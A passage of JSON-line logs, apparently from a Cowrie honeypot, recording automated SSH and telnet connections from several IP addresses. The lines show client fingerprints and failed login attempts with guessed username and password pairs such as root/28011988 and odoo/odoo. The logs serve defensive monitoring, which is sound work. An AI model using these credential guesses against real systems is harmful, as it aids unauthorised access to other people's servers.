{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":50152,"dst_ip":"159.203.135.109","dst_port":22,"session":"53578b75fbe8","protocol":"ssh","message":"New connection: 45.156.87.69:50152 (159.203.135.109:22) [session: 53578b75fbe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:41.026410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:41.059566Z","src_ip":"45.156.87.69","session":"53578b75fbe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:41.152010Z","src_ip":"45.156.87.69","session":"53578b75fbe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"user01","message":"login attempt [user01/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:42.033662Z","src_ip":"45.156.87.69","session":"53578b75fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:43.155744Z","src_ip":"45.156.87.69","session":"53578b75fbe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":50170,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bc260dc317a","protocol":"ssh","message":"New connection: 45.156.87.69:50170 (159.203.135.109:22) [session: 3bc260dc317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:44.757965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:44.817721Z","src_ip":"45.156.87.69","session":"3bc260dc317a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:44.901890Z","src_ip":"45.156.87.69","session":"3bc260dc317a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:45.584121Z","src_ip":"45.156.87.69","session":"3bc260dc317a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:46.721293Z","src_ip":"45.156.87.69","session":"3bc260dc317a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":56306,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4ab5d1cddb","protocol":"ssh","message":"New connection: 45.156.87.69:56306 (159.203.135.109:22) [session: 7d4ab5d1cddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:48.370446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:48.408317Z","src_ip":"45.156.87.69","session":"7d4ab5d1cddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:48.500986Z","src_ip":"45.156.87.69","session":"7d4ab5d1cddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:49.080322Z","src_ip":"45.156.87.69","session":"7d4ab5d1cddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.53","src_port":45052,"dst_ip":"10.17.0.5","dst_port":23,"session":"7801e71ab9ed","protocol":"telnet","message":"New connection: 167.94.146.53:45052 (10.17.0.5:23) [session: 7801e71ab9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:49.981891Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:50.223078Z","src_ip":"45.156.87.69","session":"7d4ab5d1cddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d8408623bb","protocol":"ssh","message":"New connection: 45.156.87.69:56314 (159.203.135.109:22) [session: b9d8408623bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:52.071238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:52.171735Z","src_ip":"45.156.87.69","session":"b9d8408623bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:52.175676Z","src_ip":"45.156.87.69","session":"b9d8408623bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwedsa","message":"login attempt [ubuntu/qwedsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:52.813312Z","src_ip":"45.156.87.69","session":"b9d8408623bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50602,"dst_ip":"10.17.0.5","dst_port":23,"session":"cef0732749c6","protocol":"telnet","message":"New connection: 152.42.224.71:50602 (10.17.0.5:23) [session: cef0732749c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:53.260572Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:53.988848Z","src_ip":"45.156.87.69","session":"b9d8408623bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":42796,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e1146c02531","protocol":"ssh","message":"New connection: 103.77.242.62:42796 (10.17.0.5:22) [session: 9e1146c02531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:55.813698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:55.819153Z","src_ip":"103.77.242.62","session":"9e1146c02531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":56318,"dst_ip":"159.203.135.109","dst_port":22,"session":"763200766456","protocol":"ssh","message":"New connection: 45.156.87.69:56318 (159.203.135.109:22) [session: 763200766456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:55.955918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:55.961306Z","src_ip":"45.156.87.69","session":"763200766456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:56.057481Z","src_ip":"45.156.87.69","session":"763200766456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:56.068606Z","src_ip":"103.77.242.62","session":"9e1146c02531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:56.433369Z","src_ip":"45.156.87.69","session":"763200766456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dialog","message":"login attempt [root/dialog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:56.785196Z","src_ip":"103.77.242.62","session":"9e1146c02531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:57.519511Z","src_ip":"45.156.87.69","session":"763200766456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:58.029354Z","src_ip":"103.77.242.62","session":"9e1146c02531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00158834457397,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:58.229656Z","src_ip":"152.42.224.71","session":"9388b183ed11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":31816,"dst_ip":"159.203.135.109","dst_port":22,"session":"29f1300ba4a4","protocol":"ssh","message":"New connection: 45.156.87.69:31816 (159.203.135.109:22) [session: 29f1300ba4a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:00.664463Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48536,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7fd4ca35861","protocol":"telnet","message":"New connection: 152.42.224.71:48536 (10.17.0.5:23) [session: e7fd4ca35861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:00.806723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:00.816289Z","src_ip":"45.156.87.69","session":"29f1300ba4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:00.819909Z","src_ip":"45.156.87.69","session":"29f1300ba4a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp123","message":"login attempt [uftp/uftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:02.171124Z","src_ip":"45.156.87.69","session":"29f1300ba4a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48540,"dst_ip":"10.17.0.5","dst_port":23,"session":"516e0a242c2a","protocol":"telnet","message":"New connection: 152.42.224.71:48540 (10.17.0.5:23) [session: 516e0a242c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:02.411376Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55476,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f7cea9b378","protocol":"ssh","message":"New connection: 109.237.96.109:55476 (159.203.135.109:22) [session: 13f7cea9b378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.208631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.214346Z","src_ip":"109.237.96.109","session":"13f7cea9b378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.260569Z","src_ip":"45.156.87.69","session":"29f1300ba4a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:54:03.304585Z","src_ip":"109.237.96.109","session":"13f7cea9b378","protocol":"ssh"}
